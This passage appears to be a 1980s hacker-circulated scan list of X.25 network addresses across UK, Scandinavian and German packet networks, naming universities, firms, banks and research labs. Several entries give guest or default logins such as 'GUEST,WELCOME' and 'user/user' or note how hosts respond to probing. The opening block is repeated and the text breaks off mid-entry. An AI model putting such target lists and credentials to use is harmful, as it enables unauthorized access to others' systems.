  0234 212 301 18722     CAP      CAP Industry Ltd.
  0234 212 301 281                ONE TO ONE COMMS
```

```
O 0234 212 302 02192      PSSCLK     PSS Clock
B 0234 212 399 12013      DIALMAL    Dialmail via London
A 0234 212 900 115        STL        STL : ACER (BSD UNIX 4.2)
  0234 213 000 11
  0234 213 000 151        COMPUTAS   Computas Ltd
  0234 213 000 1511                  COMPUTAS LTD.
D 0234 213 900 10150      ALVEY      Alvey Mail and FTP.
  0234 214 200 162        GLAXO      Galaxo Industries
  0234 214 400 12                    CONTROL DATA LTD.
  0234 215 000 11600      C3
  0234 215 710 104                   Consultans Ltd
  0234 216 700 127        PFIZER     Pfizer, SANDWICH
  0234 216 700 12701      PFIZER1    Pfizer, SANDWICH
  0234 216 700 12702      PFIZER2    Pfizer, SANDWICH
  0234 216 700 12703      PFIZER3    Pfizer, SANDWICH
  0234 216 700 12704      PFIZER4    Pfizer, SANDWICH
  0234 216 700 12706      PFIZER6    Pfizer, SANDWICH
  0234 218 801 00300                 British Telecom Hotline
  0234 2                             PSS
  0234 198 061 60                    Queen Marry C.
B 0234 207 920 002                   SWVA
  0234 211 920 100515                Hostess Doc.
  0234 212                           Dialnet
O 0234 212 080 105
I 0234 212 080 110        EPSONUK    Epson (UK)
A 0234 212 300 120        DIALNET    IGS Leased line to DIALOG in US
A 0234 212 300 12011      DIALNET    LRS-DIALOG 2   Dialog via London
Ar0234 212 300 12013      DIALMRC    LRS-Dialmail   (Reverse Charging)
A 0234 212 300 120*D@     DIALNET    IGS Leased line to DIALOG in US
A 0234 212 300 2920                  GeoNet GEO2
B 0234 212 301 161                   OPTEL
  0234 212 301 186                   GEOSYSTEMS
  0234 212 301 187                   CAP GROUP LTD.
  0234 212 301 18722      CAP        CAP Industry Ltd.
  0234 212 301 281                   ONE TO ONE COMMS
O 0234 212 302 02192      PSSCLK     PSS Clock
B 0234 212 399 12013      DIALMAL    Dialmail via London
A 0234 212 900 115        STL        STL : ACER (BSD UNIX 4.2)
  0234 213 000 11
  0234 213 000 151        COMPUTAS   Computas Ltd
  0234 213 000 1511                  COMPUTAS LTD.
D 0234 213 900 10150      ALVEY      Alvey Mail and FTP.
  0234 214 200 162        GLAXO      Galaxo Industries
  0234 214 400 12                    CONTROL DATA LTD.
  0234 215 000 11600      C3
  0234 215 710 104                   Consultans Ltd
  0234 216 700 127        PFIZER     Pfizer, SANDWICH
  0234 216 700 12701      PFIZER1    Pfizer, SANDWICH
  0234 216 700 12702      PFIZER2    Pfizer, SANDWICH
  0234 216 700 12703      PFIZER3    Pfizer, SANDWICH
  0234 216 700 12704      PFIZER4    Pfizer, SANDWICH
  0234 216 700 12706      PFIZER6    Pfizer, SANDWICH
  0234 218 801 00300                 British Telecom Hotline
  0234 219                           PSS-Network
  0234 219 200 001                   Network Monitoring Centre (NFS)
  0234 219 200 002                   Network Monitoring Centre (NFS)
  0234 219 200 100                   University of London Computing Centre
  0234 219 200 10069      JANETGW    PSS/JANET Gateway (ULCC)
B 0234 219 200 101                   Finsbury Data Service
  0234 219 200 1082                  BING COMPUTER SERVICES (EUROPE) LTD.
A 0234 219 200 118        ADPUK      ADP NETWORK SERVICES LTD. (=AUTONET?)
```

```
  0234 219 200 118                        atomic energy research establishment
  0234 219 200 13370    QTLON             Quantime
A 0234 219 200 146      CEGB              CEGB, Park Street, London
B 0234 219 200 14869    ULCC              Univ. London Computer Centre (=JANET2?)
B 0234 219 200 14918    UCLMVAX           UCL Microvax ARPA Gateway
B 0234 219 200 14970
  0234 219 200 154                        UNILEVER COMPUTER SERVICES LTD.
A 0234 219 200 171      LEXIS             LEXIS
A 0234 219 200 190      INFOLINE          PERGAMON INFOLINE LTD. (NFS)
A 0234 219 200 203      IPSH              SHARP, I. P. ASSOCIATES LTD.
A 0234 219 200 220                        BRITISH LIBRARY ON-LINE SYSTEM
A 0234 219 200 222      BLAISE            British Library Information System
  0234 219 200 297                        RLFE & NOLAN COMPUTER SERVICES PLC
B 0234 219 200 300      UCL               University College London - Computer
  0234 219 200 300      UCLFTP            UCL (FTP)
A 0234 219 200 300      UCLMAIL           UCL (JNT Mail)
  0234 219 200 304                        University Computing Company (GB) Ltd.
B 0234 219 200 333      EUCLID            University College London  Computer Centre
  0234 219 200 394      CISI              CISI (=SIANET?;=Computer Services, London?)
  0234 219 200 871                        Instrument Rentals (UK) Ltd.
B 0234 219 201 002      POOLE
  0234 219 201 004      BGOLD81           Telecom BT-GOLD System 81
  0234 219 201 00472    BGOLD72           Telecom BT-GOLD System 72
  0234 219 201 00474    BGOLD74           Telecom BT-GOLD System 74
  0234 219 201 00479    BTGOLD            Telecom BT-GOLD System 79
  0234 219 201 00481    BTGOLDA           Telecom BT-GOLD System 81
  0234 219 201 00482    BTGOLD82          Telecom BT-GOLD System 82
  0234 219 201 00484    BGOLD84           Telecom Gold System 84
  0234 219 201 005      PSSMAIL           PSS TELE-MAIL service
B 0234 219 201 00513    DIANENQ           Euronet DIANE Enquiry Service
                                          (=Echo,Rutherford?)
B 0234 219 201 00513    EUROINFO          Euronet Diane Information Service
                                          (=Echo,Rutherford?)
A 0234 219 201 00515    BTDOC             BT Online Documentation Service
A 0234 219 201 00515    HOSTESS           Hostess system (BT)
  0234 219 201 00530    BAYNARD           BT Protocol Study Centre (NFS)
  0234 219 201 00615    PSSDOC            PSS documentation service/X25 technical
                                          info on line
  0234 219 201 00620    BTBILL            BT Online Billing
  0234 219 201 0100513
  0234 219 201 01013    HOSTESS           Hostess system (BT) (=PSS Switchstream 1 ?)
T 0234 219 201 01030    TSTB              British Telecom
  0234 219 201 025      PRESTEL           BT Prestel Service
  0234 219 201 02517
  0234 219 201 07800
  0234 219 201 15600    ESA1              ESA-IRS via London
  0234 219 201 18       ADPUK             ADP Network Services Ltd
  0234 219 210 050                        BT Mailbox facility (NFS)
  0234 219 511 31       GEC               GEC Computers Borehamwood
  0234 219 511 311      GECB              GEC Computers Ltd. Borehamwood
  0234 219 513 11       GECB              GEC Computers Ltd. Borehamwood
  0234 219 709 111                        Modular Computer Services Ltd. (MODCOMP)
? 0234 219 709 111      NPL1              National Physical Laboratory
  0234 219 709 210      NPL2              National Physical Laboratory, Protocol Std
                                          Group
B 0234 219 806 160      QMC               Queen Mary College London
X 0234 220 200 1070                       island-Adventure-Game
X 0234 220 200 10700                      island-Adventure-Game
  0234 220 641 141      ESSX              Essex, University of, Computing Service
                                          (2653,2653,Mist)
A 0234 220 641 1411                       MUD (Adventure Game), <guest>, <mist> or
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                                 <2653,2653>
B 0234 221 222 122      MIDB      MIDNET Gateway at Birmingham (=MIDBHM)
  0234 221 222 223      BIRP      Prime R & D at Birmingham
  0234 221 222 225                Freight Comp. Services
  0234 222 236 163      CARDF     Cardiff, University College
  0234 222 236 16300    CARDIFF   Univ. Coll. Cardiff Multics
  0234 222 236 236      UWIST     University of Wales
  0234 222 300 16102    ACORN     Acorn Computers
  0234 222 339 399      CAMBRID   Cambridge University (Phoenix)
  0234 222 530 303      SWURCC    South-West Universities
  0234 222 530 30388    SWURCC    South-West Universities Network
  0234 222 530 30398    SWCFTP    SWURCC (FTP)
A 0234 222 715 151      KENT      University of Kent
X 0234 222 715 11                 ? (---,Guest,Friend (call PIP))
  0234 223 440          TI        Texas Instruments Ltd
  0234 223 440 144      BED5      Prime R & D at Bedford (NFS)
  0234 223 440 345      TI        Texas Instruments Ltd
  0234 223 500 10998    HLH       High Level Hardware Ltd.
B 0234 223 519 111      AERE      Atomic Energy Research Establishment at
                                  Harwell
T 0234 223 519 11198    ADA       ADA UK Database
  0234 223 519 119169             JANET
  0234 223 519 191      DLVAFTP   Daresbury SRS VAX (FTP)
A 0234 223 519 191      JANET     Gateway to JANET at Rutherford
  0234 223 519 191      OUCSFTP   OUCS VAX (FTP) - Experimental
  0234 223 519 191      REVSFTP   ROE Starlink VAX (FTP)
  0234 223 519 191      RLDAFTP   Rutherford DCS 11/70 (FTP)
  0234 223 519 191      RLGBFTP   RL GEC (FTP)
  0234 223 519 191      RLIBFTP   RL IBM 370 CMS (FTP)
  0234 223 519 191      RLPCFTP   L Prime C (FTP)
  0234 223 519 191      SERC      Gateway to SERCNET at Rutherford
  0234 223 519 191      SERCENQ   SERCNET Acc & P/word Fac.
  0234 223 519 191      SYPEFTP   Surrey Prime 550 (FTP)
  0234 223 519 191      UEAFTP    East Anglia via SERC (FTP)
  0234 223 519 191      ZUVSFTP   UCL Starlink VAX (FTP)
A 0234 223 519 19169    SERCNET   R/ford XXX SERCnet g/way
                                  (=DARESBURY,=JANET?)
? 0234 223 519 19169,.10404000    Lancaster Uni
B 0234 223 519 19169,.36          Oxford2
? 0234 223 519 19169,49000001
B 0234 223 519 19169,.50200014    Oxford
B 0234 223 519 19169,.CPVC        Omega VAX
A 0234 223 519 19169,.CPVD        Merlin VAX
B 0234 225 621 126      DECSS     DEC Software Support VAX (=BEANO?)
  0234 227 200 110                GEAC 8000 ITI
  0234 227 200 112      HPLB      HPLB (Hewlett Packard Labs, Bristol)
  0234 227 230 230      BRST      University of Bristol
  0234 227 230 23000    BRISTOL   University of Bristol
  0234 227 230 231                DLLON Comp. & Manag. Services Ltd.
  0234 227 230 301                GAC Computers Ltd.
  0234 227 230 333      AVON      Avon Universities Computer Centre
  0234 227 230 33300    AUCC      Avon Universities Computer Centre
  0234 227 230 33398    AUCCFTP   AUCC (FTP)
B 0234 227 900 102      BLAISE    British Library Information System
  0234 227 900 10400    ESTELLE   STC Estelle
  0234 227 900 14302    ITT       ITT Harlow (=ALCATEL?)
  0234 231 300 101                PRIME Office, Edinburgh
  0234 231 300 102                Forestry Commission FTP
  0234 231 300 105      LATTLOG   Lattice Logic LTD
  0234 231 300 107
B 0234 231 354 354      ERCC      Edinburgh Regional Computer Centre
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  0234 231 354 35419     BUSHFTP    RCO 2988 (FTP)
B 0234 231 354 35422     ERCC       ERCC - 2980, 2972 (EMAS) (=RCONET?)
  0234 232 500 124        EXIS       EXIS
I 0234 233 458 158        STAND      St. Andrews University VAX
B 0234 233 458 15898      STANFTP    St. Andrews Univ. (FTP)
  0234 234 417 117                   ICL at Bracknell
  0234 227 230 333                   ?
B 0234 239 232 323        EXETER1    Exeter University
  0234 239 232 32304      EXTR       University of Exeter
  0234 241 200 107
  0234 241 260 106        SCRSX      University of Strathcylde PDP-11/44 (RSX)
A 0234 241 260 10604                 ? (,5020015,Birch/Bryan)
  0234 241 260 260        GLSG       University of Glasgow (NFS)
B 0234 241 260 26004                 Glasgow
  0234 246 200 10243                 ICL West Gorton 'B' Service
  0234 246 200 10248                 ICL West Gorton 'X' Service
  0234 246 200 10277                 ICL West Gorton Perq
  0234 246 240 240        ICLL       ICL at Letchworth (=Kidsgrove?) (NFS)
  0234 247 300 103                   MTIER Management Systems Ltd.
  0234 247 300 10300                 Bridge, Switch
  0234 247 300 10340                 Bridge, (VAX/VMS)
  0234 247 300 10345                 Bridge, (MUX(VT100))
  0234 247 300 10346                 Bridge
  0234 247 302 022        MHGA       LDC at Martlesham
  0234 248 300 106                   DWENT-SDC Search Service
  0234 248 321 321                   DWENT-SDC Search Service
B 0234 251 248 248        LIVE       University of Liverpool
  0234 252 724 241        BSL        BL Systems Ltd.
  0234 253 265 165        LEEDS      University of Leeds (NFS)
  0234 253 300 124        CAMTEC     Camtec, Leicester
  0234 253 300 12406      CAMTEC     Camtec, Leicester (hard copy printer)
  0234 258 200 106        ARC        Agricultural Research Council (GEC -
                                     Switch)
  0234 258 200 106        EMALFTP    East Malling (FTP)
  0234 258 200 106        RESFTP     RES (Rothampstead) - FTP
  0234 258 200 10604      AGRIFTP    AGRINET (CPSE) FTP
  0234 258 200 10604      AGRINET    AGRINET Gateway
  0234 258 200 10604      EASTMAL    East Malling
  0234 258 240 242        GECD       GEC Computers Ltd at Dunstable
  0234 258 240 24200      MRCA       GEC - Marconi Research Centre
B 0234 260 227 227        MIDN       MIDNET Gateway at Nottingham (University
                                     Leicester?) (=MIDNOT?)
B 0234 261 456 8383                  Microlink
B 0234 261 600 119                   Manchester
  0234 261 600 133                   IBM - SALE (also FTP)
B 0234 261 600 152        UMDAFL     University of Manchester Dataflow VAX
  0234 261 643 143        UMRCC      University of Manchester Regional Computer
                                     Centre
  0234 261 643 14398      UMRFTP     UMRCC (FTP)
  0234 261 643 210        SALF       Salford University
  0234 261 643 21090      SALFORD    Salford -> GANNET
  0234 261 643 21090      NRS        NRS
B 0234 261 643 343        FERRANTI   Feranti Computer Systems
  0234 261 643 365                   ICLBRA
  0234 261 643 36543                 ICL West Gorton 'B' Service
  0234 261 643 36548                 ICL West Gorton 'X' Service
  0234 261 643 36577                 ICL West Gorton Perq (also FTP)
  0234 262 500 484                   Software Sciences Ltd.
B 0234 262 800 151                   CDM/EH (=Maidenhead?)
  0234 262 800 43300
B 0234 263 259 159        NUMAC      University of Newcastle
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  0234 264 200 136                        Primenet
B 0234 270 500 115                        MAXXIM
B 0234 270 500 142                        Farenham
T 0234 270 500 15                         Uni Brighton (GUEST,WELCOME)
  0234 270 712 217      HATF              Hatfield Polytechnic
  0234 273 417 171      DEC-RDG           Digital Equipment Ltd Reading
  0234 273 417 217      MODC              Modcomp
  0234 273 417 317      DECR              DEC at Reading
  0234 274 200 103                        SHEFFIELD, University of, Dept.of
                                          Electronic & Elec...
  0234 274 200 103*DCODUCODUS             Codus
  0234 274 253 385                        DVY Computing Ltd.
  0234 274 317 31
  0234 275 300 102                        GIS Ltd.
  0234 275 312 212      BOC               British Oxygen (=The World Reporter??)
  0234 275 312 212      DATASOLVE         as above
  0234 275 312 212      EUROLEX           British Oxygen Company
  0234 275 317 173                        Lynx Computers Ltd.
  0234 275 317 177                        TELEFILE Computer Services Ltd.
  0234 275 317 177      GSI               GSI (NFS)
  0234 278 228 282                        ICL Letchworth
  0234 278 228 288                        ICL Letchworth
  0234 284 400 108                        Culham, (VAX)
  0234 284 400 123      ALVEY             Alvey Electronic Mail
B 0234 289 500 109                        UXB
  0234 290 468 168      YORK              York University PSS Gateway
B 0234 290 468 168      YORKFTP           York University (FTP)
  0234 290 468 168                        Gateway To DEC-10 At York
  0234 290 468 16804    YORKTS            York TS29 Port
  0234 290 524 242      RSRE              Radio, Space Research Establishment
  0234 290 524 24203    RSREDL            RSRE
  0234 290 524 24204    RSRESNK           RSRE
  0234 290 524 24250    RSREA             Radio, Space Research Establishment for
                                          ALVEY mail
  0234 290 840 111      POLIS             SCION
  0234 290 840 111      SCICON            SCICON, South England
  0234 292 549 149      DL                SERC at Daresbury Laboratory
  0234 293 212 212                        DATASOLVE LTD.
  0234 293 212 212      BOC               British Oxygen Company (NFS)
D 0234 293 765         ARTTEL             British Library, Boston Spa
  0234 293 765 265                        British Library Lending Divi.
  0234 299 212 221      NOLTON            Nolton Communications Ltd. (NFS)
  0234 3                                  Euronet
  0234 307 813          EUROINFO          Euronet Diane Information Service
  0234 8                TELEX             UK Telex network
  0234 892 992 0        DECTELX
I 0235 200 143 00165
  0238                  DK                Denmark
  0238 2                                  Datapak
A 0238 241 592 400                        Valby I/S Datacentralen
A 0238 241 745 600      RECKU             Univac in Copenhagen University
  0238 241 745 60000                      Recku Univac (Enter @@ENQ)
  0238 241 745 60002    UDIKU
A 0238 242 126 400                        Lyngby DTB; I/S Datacentralen
I 0238 389 3                              Euronet Aarhus
  0240                  S                 Sweden
I 0240 181 559 76       LIUIDA S          Linkvping LiUIDA Teletex
  0240 2                                  Datapak
A 0240 200 002 05                         Uppsala STUNS VAX/UNIX KULING
I 0240 200 044 4        ENEA              ENEA
A 0240 200 100 110                        Stockholm QZ/DEC-10
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A 0240 200 100 120                     Stockholm QZ/CD Cyber 730
O 0240 200 100 203                     Uppsala, UU, Teknikum, NORD 100/500
A 0240 200 100 205                     Uppsala, UU, Stuns, VAX 750
A 0240 200 100 206                     Uppsala, UDAC/DECnet RTR18A
O 0240 200 100 207                     Uppsala, UDAC, Cyber 835
A 0240 200 100 228                     Uppsala, UDAC/UPNET - Terminalnaet
A 0240 200 100 232                     Uppsala, UDAC, IBM/GUTS (BASF 7/68 ?)
O 0240 200 100 28                      Uppsala Upnet
? 0240 200 100 30                      Umeaa VAX-750 Skogsh. Umeaa Univ
A 0240 200 100 303                     Umeaa, UMDAC/BIOVAX
A 0240 200 100 304                     Umeaa, Skogshoegskolan, VAX 750
A 0240 200 100 305                     Umeaa, UMDAC/DECnet RTR09A, (Vax 11/750)
A 0240 200 100 30520                   Umeaa, UMDAC/BASUN
A 0240 200 100 30540                   Umeaa, UMDAC/UTB1 (Vax 11/780)
A 0240 200 100 30550                   Umeaa, UMDAC/UTB2 (Vax 11/750)
A 0240 200 100 30570                   Umeaa, UMDAC/OSTVAX (Vax 11/780, Hoegsk i
                                       Oe-sund)
A 0240 200 100 307                     Umeaa, UMDAC/Cyber 850
D 0240 200 100 312                     Luleaa, Tekn hoegsk, NORD 100
D 0240 200 100 313                     Luleaa, Tekn hoegsk, NORD 100
A 0240 200 100 328                     Umeaa, UMDAC/NUNET - Terminalnaet
D 0240 200 100 33                      Umeaa VAX-11/780
A 0240 200 100 403                     Linkoeping, ULi/LIUIDA, uVAX-I
D 0240 200 100 404                     Linkoeping, ULi/PDP 11/23 BULL
A 0240 200 100 405                     Linkoeping, LIDAC, VAX 11/780 VIKTOR
A 0240 200 100 407                     Linkoeping, LIDAC/DECnet RTR13A, uVAX-II
D 0240 200 100 432                     Linkoeping, LIDAC/TEXAS - Terminalnaet
A 0240 200 100 7                       Primenet
A 0240 200 101 903                     Stockholm, SU, Psykologi, Prime 750
A 0240 200 101 904                     Stockholm, QZ IBM (Amdahl)
A 0240 200 101 905                     Stockholm, QZ, NFRVAX
A 0240 200 101 907                     Stockholm, QZ/DECnet RTR08A
A 0240 200 101 914                     Stockholm, SU, Fysik, Vax 780
D 0240 200 101 926                     Stockholm, KTH/KTHNET - Terminalnaet
A 0240 200 101 928                     Stockholm, QZ/QZNET - Terminalnaet
O 0240 200 102 06                      Uppsala UDAC uVAX-II RTR18A
O 0240 200 102 07                      Uppsala CD Cyber 835
A 0240 200 102 7                       Stockholm DEC-10/Janus
A 0240 200 102 71                      Stockholm DEC-10/Janus
A 0240 200 201 603                     Goeteborg, CTH, Infobeh, VAX 750, Unix
D 0240 200 201 604                     Goeteborg, GU, Pedagogiska inst, Prime 550
A 0240 200 201 605                     Goeteborg, GU, Statistiska inst, Prime 550
D 0240 200 201 606                     Goeteborg, CTH, Tillaempad Elektronik, VAX
                                       750
A 0240 200 201 607                     Goeteborg, Tillaempad Elektronik/DECnet
                                       RTR31A (RTR18A ?)
A 0240 200 201 628                     Goeteborg, GD/GUCNET - Terminalnaet
D 0240 200 201 632                     Goeteborg Upnod
A 0240 200 205 4                       SCB
A 0240 200 278 0                       Oerebro, Hoegskolan, Prime
A 0240 200 292 6                       Karlstad, Hoegskolan, VAX 11/780
D 0240 200 310 204                     Lund, Fysikum, NORD 500, Lucas
O 0240 200 310 206                     Lund, Maxlab, NORD 100
A 0240 200 310 207                     Lund, LDC/DECnet RTR46A, uVAX-II
A 0240 200 310 20720                   Lund, LDC/GEMINI, Vax 8350
A 0240 200 310 228                     Lund, LDC/LUNET - Terminalnaet
  0240 201 001 30                      Stockholm QZ/Amdahl
  0240 201 002 03                      Uppsala Teknikum Nord 100/500
  0240 5                     SWEDEN    Swedish data network (Telepak)
I 0240 500 025 3             QZXB      QZ by yet another route
I 0240 500 025 7                       Stockholm, DEC, VAX
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I 0240 501 50                          Scannet, Goteborg
I 0240 501 51                          Scannet, Helsingfors
I 0240 501 52                          Stockholm KTH/TTDS
I 0240 501 531 0       QZCOM           QZ-COM - Stockholm University DEC-10
I 0240 501 532 0       QZCB            QZ Cyber
I 0240 501 533 0       QZIB            QZ Amdahl
I 0240 501 54          UPPS            Uppsala network, Sweden
I 0240 501 550 3                       Gottenburg, Sweden
I 0240 501 582 8       LUND            Lund University
I 0240 501 60                          Helsinki CP9500 HYLK B7800
I 0240 502 00                          Scannet, Stockholm
I 0240 502 01                          Denmark, Copenhagen Scannet
I 0240 502 02                          Tandem Computers
I 0240 502 032 8       QZXA            QZ Sweden via reverse PAD (=UPNET?)
I 0240 502 032 832                     Oden, Sweden
I 0240 502 033 2       QZDA            QZ DEC-10 Sweden
I 0240 502 04                          Prime Computers
I 0240 502 05                          Vaesteraas PAD ASEA Multics
I 0240 502 52                          KEMIDATA
I 0240 502 53          QZXB            QZ by yet another route
  0240 515 330                         Amdahl
  0242                 N               Norway
  0242 2               NORWAY          Norwegian data network (Datapak/Norpak)
  0242 192 010 1013                    PSS DOC
X 0242 211 000 00107   OSLO            DEC-1099 DEC-net/PSI at Oslo University
D 0242 211 000 001*D02                 Oslo univ BRU-nett UNINETT
D 0242 211 000 001*D03 OSLO            DEC-10 at Oslo University
D 0242 211 000 00100                   Oslo univ DEC-1099 UNINETT
D 0242 211 000 002                     Oslo Scannet NSI Nord-100
D 0242 211 000 01018   DATAPIN         DATAPAK Info - Norway
B 0242 211 000 074                     Oslo VAX
T 0242 223 000 00151   RBK             Cyber 170 at IFE (Energy Research Centre)
T 0242 223 000 001*D00 RBK             Cyber 170 at IFE, Kjeller RBK UNINETT
D 0242 223 000 002                     Kjeller FFI UNINETT
D 0242 245 000 00101   BERGEN          Univac at Bergen University (UNINETT)
D 0242 245 000 001*D00 BERGEN          Univac at Bergen University
A 0242 245 013 4                       BBB Mailbox (Bergen By Byte)
  0242 253 000 001*D11                 Trondheim UNINETT RUNIT UNIVAC
T 0242 253 000 00101   RNI             Univac at Trondheim University
X 0242 253 000 00103                   Trondheim RUNIT UNINETT VAX-780 (=PUNIT
                                       (EANNET) ?)
T 0242 253 000 00104                   Trondheim NLHT UNINETT VAX-750
  0242 265 000 001*D00                 Tromso UNINETT U of Tromso, Cyber 171
  0242 253 000 001*D11 RUNIT           Univac at Trondheim University
  0242 265 000 001*D81                 Tromso UNINETT U of Tromso, NORD-10
  0242 265 000 001*D82                 Tromso UNINETT U of Tromso, NORD-100
  0242 265 000 001*D83                 Tromso UNINETT U of Tromso, NORD-500
  0242 265 000 00101   TROMSOE         Cyber 170 at Tromsoe University (UNINETT)
  0242 265 000 001*D81 TROMSO          ELAN at Tromsoe University
X 0242 265 000 106                     PORTACOM (PORTACOM)
  0244                 SF              Finland
  0244 2                               Datapak (Finpak)
A 0244 202 006                         Economics HP 3000
A 0244 202 007                         University of Helsinki, B7800 (=CANDE ?)
A 0244 202 008                         VTKK (Staten DC) IBM 360
A 0244 202 012                         U o Helsinki Mopo Mikko3
A 0244 203 008         HELVA           High Energy Physics Vax 11/750
A 0244 203 017                         U of Technology DEC-20
D 0244 231 006                         Technical University of Tampere VAX
A 0244 253 001                         Tech U of Lappeenranta VAX/VMS
A 0244 261 001                         U of Vaasa VAX/VMS
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A 0244 273 002                      University of Joensuu VAX
D 0248 321 321                      DWENT-SDC Search Service
  0262                   D          Germany
  0262 3                            Euronet
X 0262 307 4                        INFAS
  0262 4                 GERMANY    German data network (Datex-P)
I 0262 428 462 10706
I 0262 428 479 11065
D 0262 432 210 43002                Apple
Ar0262 432 210 93001                Quick-Com
Y 0262 442 010 49132
O 0262 442 110 40325                OKI
Y 0262 442 110 49130                PAD Frankfurt
Y 0262 442 110 49133
Y 0262 442 110 49230
I 0262 442 151 40327                KIS (info)
I 0262 442 210 49331
A 0262 442 210 90371                elma-mailbox (~pim)
Y 0262 442 210 99632
O 0262 442 310 40312                Bibliothek  Chemie
I 0262 442 310 90306                Chemie
I 0262 442 410 40341    RMI         RMI Mailbox Aachen
I 0262 442 433 40307                CMES
O 0262 442 461 40343
Y 0262 443 000 49234
A 0262 443 000 90314                ?
Y 0262 443 000 99131
I 0262 444 000 90314                CCC Hamburg (Clinch), Hackerbox (1 line...)
Y 0262 444 000 90330                Allgemeine Bank der Niederlande
O 0262 444 000 90342                Batig Beteiligungen GmbH
A 0262 444 000 90374                Master Control System (MCS) Hamburg
Y 0262 444 000 99132
Y 0262 444 441 40317                Osnabrueck, Driverstr.24, 2848 Vechta
I 0262 445 110 30317                Metereologie
I 0262 445 110 90323                Bibliothek
I 0262 446 154 40371                DECATES - Oberramstadt
Y 0262 446 210 49330
Y 0262 446 810 49131
Y 0262 446 810 49132
O 0262 446 900 30331                IBD Online Frankfurt a.M.
I 0262 446 900 40318                Chemie
Y 0262 446 900 49231
Y 0262 446 900 49232
I 0262 446 900 90286                RZ
Y 0262 446 900 99133
O 0262 447 071 10303                Organische Chem.
Y 0262 447 110 49134
I 0262 447 114 9236                 Emery
I 0262 447 127 90344
Y 0262 447 310 40313                Online-Literaturdok.
A 0262 447 531 40310                Chemie
I 0262 448 136                      Luma Uni
O 0262 448 136 90323                Genesys EDV-Systeme
Y 0262 448 210 49630
A 0262 448 900 30368                Phoenix
Y 0262 448 900 49130
A 0262 448 900 90313                Max Planck Institut
Y 0262 448 900 90341                LMU Bibliothek
Y 0262 448 900 99632
I 0262 449 310 90312                Apel Hans-Joerg
I 0262 452 000 21721                ???
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I 0262 450 000 90184
I 0262 451 104 2301
O 0262 452 010 40116          AEG-Telefunken
I 0262 452 010 40179          RZ Uni Essen
I 0262 452 020 40120          Apotheke Dr.Schiemes
I 0262 452 080 40381          DVO Datenverarbeitung
I 0262 452 090 832            ?
I 0262 452 101 30030          3M Mailbox
I 0262 452 101 40030          3M Mailbox
I 0262 452 110 40001          RZU Duesseldorf (ND100)
I 0262 452 110 40005          CIERR 1402
I 0262 452 110 40016          ADV-Orga-Meyer & Co.
I 0262 452 110 40018          ADV-Orga-Meyer & Co.
Ar0262 452 110 40026          Primenet Stadt Duesseldorf,
I 0262 452 110 40063          ADAC
I 0262 452 110 40080          Uni Duesseldorf
Dr0262 452 110 40099
D 0262 452 110 40105          RZU Duesseldorf (Siemens 7.570)
D 0262 452 110 40123          Data General
Ar0262 452 110 40130
Dr0262 452 110 40132
A 0262 452 110 40134          MCKDU VM/SP
I 0262 452 110 40211          Applid-Data-Research
I 0262 452 110 40325          OKI-GmbH
I 0262 452 110 90371          Software-Express
I 0262 452 210 0
Yr0262 452 210 40002          DIMDI Fep 1 Koeln
Ar0262 452 210 40004          Primenet (MicroVMS V4.5)
A 0262 452 210 40006          DIMDI Fep 2 Koeln  (Medical docs)
I 0262 452 210 40015          Kaufhof AG
I 0262 452 210 40027          ADAC
Ar0262 452 210 40035          Primenet
A 0262 452 210 40104          DIMDI1  (German Med. Inst., Koeln)
Yr0262 452 210 40119
O 0262 452 210 40136          AEG-Telefunken
I 0262 452 210 40202          Allianz RZ
I 0262 452 210 40203          Allianz RZ
I 0262 452 210 90265          RZ Uni Koeln
I 0262 452 210 90304          Allianz RZ
I 0262 452 210 90305          Allianz RZ
I 0262 452 210 90349          Kaufhof AG (RZ 2)
D 0262 452 210 90510          Geophysik und Meteorologie
Ir0262 452 210 93001          ?
A 0262 452 241 24104          VAX
A 0262 452 241 24105          GMD2
A 0262 452 241 24134          GMDZI
A 0262 452 280 40082          GMD (TSO)
A 0262 452 280 40187   BNVA   Bonn VAX (PI)
Ar0262 452 280 40191          Infas GmbH (VM)
D 0262 452 280 90020          Amtsgericht
A 0262 452 310 40003   EMX1   EMEX-Mailbox (Guest)
I 0262 452 310 40017          Primenet
O 0262 452 310 40103          AEG-Telefunken
A 0262 452 310 42100          Informatik
A 0262 452 310 42144   UNIDO  University of Dortmund
I 0262 452 310 40017          Primenet
I 0262 452 310 45100          Uni Dortmund (Siemens 7.760)
A 0262 452 310 9304           Dortmund
D 0262 452 340 40140          Primenet = RZU Bochum (CDL 855) ??
A 0262 452 340 40194   RUB    Cyber 205 (=855?), Ruhr University - Bochum
                              (RUB)
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D 0262 452 410 40149                    Aachener + Muenchener Versicherung
I 0262 452 410 90014                    ???
I 0262 452 410 90528                    rmi-aachen
A 0262 452 410 90832                    RMI Datentechnik Aachen
I 0262 452 433 40307                    OPTEL (Ruehlemann-Box)
I 0262 452 461 90509                    Kfz Juelich
A 0262 452 710 40240                    Uni Siegen, FB Physik (VAX 11/750)
D 0262 452 931 40196                    Handwerkskammer (HWK) Arnsberg
I 0262 453 000 0414                     GFC-AG
D 0262 453 000 20104                    Vax
D 0262 453 000 217        HMI           HMI in Berlin
A 0262 453 000 21711                    Siemens
A 0262 453 000 21712                    Siemens
A 0262 453 000 21713                    Hahn-Meitner-Institut Berlin
D 0262 453 000 21714                    ???
D 0262 453 000 40013                    Uni Berlin
Y 0262 453 000 40014                    GFC AG
Ar0262 453 000 40023      BERLIN        Tech. Univ. Berlin (Computer Science)
I 0262 453 000 40027                    ADAC
I 0262 453 000 40112                    ABC Barkredit Bank
I 0262 453 000 40166                    David Verlag
I 0262 453 000 40509                    COM-Box Berlin
A 0262 453 000 20205                    CN01
A 0262 453 000 43109                    netmbx, Berlin
A 0262 453 000 90055                    COM.BOX, Berlin
A 0262 453 000 90864                    ? (GUEST)
I 0262 453 002 17         HMI           Hans Mietner Institute in Berlin
I 0262 453 004 0023                     Uni Berlin
I 0262 453 210 40017                    tymnet-gateway
I 0262 454 000 30029
A 0262 454 000 30035                    (immediately drops the line)
A 0262 454 000 30041                    COM-PLETE (?) (command prefix is '*')
A 0262 454 000 30046                    (immediately drops the line)
O 0262 454 000 30071
A 0262 454 000 30090                    (cierr 1402)
A 0262 454 000 30104                    ? ("INVALID COMMAND SYNTAX")
A 0262 454 000 30105
A 0262 454 000 30110                    Host
A 0262 454 000 30113                    (cierr 1402)
A 0262 454 000 30138                    ? (no reaction)
D 0262 454 000 30150
D 0262 454 000 30158
A 0262 454 000 30175                    ? ("INVALID COMMAND SYNTAX")
D 0262 454 000 30187                    E2000 Hamburg VAX
O 0262 454 000 30201                    Hasylab VAX (user/user)
A 0262 454 000 30202                    HERA Magnet Measurement VAX 750 (=Krista
